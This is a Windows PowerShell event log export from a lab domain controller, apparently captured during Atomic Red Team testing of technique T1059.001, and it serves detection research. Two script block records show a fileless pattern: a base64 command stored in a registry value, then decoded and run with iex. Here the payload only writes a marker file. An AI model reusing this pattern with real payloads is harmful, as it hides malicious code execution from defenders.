SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476890
Keywords=None
Message=Started invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476889
Keywords=None
Message=Started invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476888
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476887
Keywords=None
Message=Started invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1476886
Keywords=None
Message=Started invocation of ScriptBlock ID: e4e4e254-fb69-40ee-b4cf-c0286ae8b839
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1476885
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Invoke-AtomicTest T1059.001 -ShowDetailsBrief
ScriptBlock ID: e4e4e254-fb69-40ee-b4cf-c0286ae8b839
Path:
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1476884
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477611
Keywords=None
Message=Started invocation of ScriptBlock ID: ddf0721b-9309-4e53-bf91-f4b22c9856e0
Runspace ID: 9c2bf95d-aa5c-439e-b1a2-ccb0994588f6
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477610
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI="
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))}
ScriptBlock ID: ddf0721b-9309-4e53-bf91-f4b22c9856e0
Path:
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477609
Keywords=None
Message=Started invocation of ScriptBlock ID: f3d5f304-5803-4515-a701-a05bc6b9a677
Runspace ID: 9c2bf95d-aa5c-439e-b1a2-ccb0994588f6
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477608
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI="
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))}
ScriptBlock ID: f3d5f304-5803-4515-a701-a05bc6b9a677
Path:
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1477607
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1477606
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 5868 in AppDomain: DefaultAppDomain.
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1477605
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477604
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477602
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477601
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477600
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477599
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477598
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477597
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477596
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477595
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477594
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477592
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477590
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477588
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477586
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477585
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477584
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477583
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477582
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477581
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477580
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477579
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477578
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477577
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477576
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477575
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477574
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477572
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477570
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477568
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477567
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477566
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
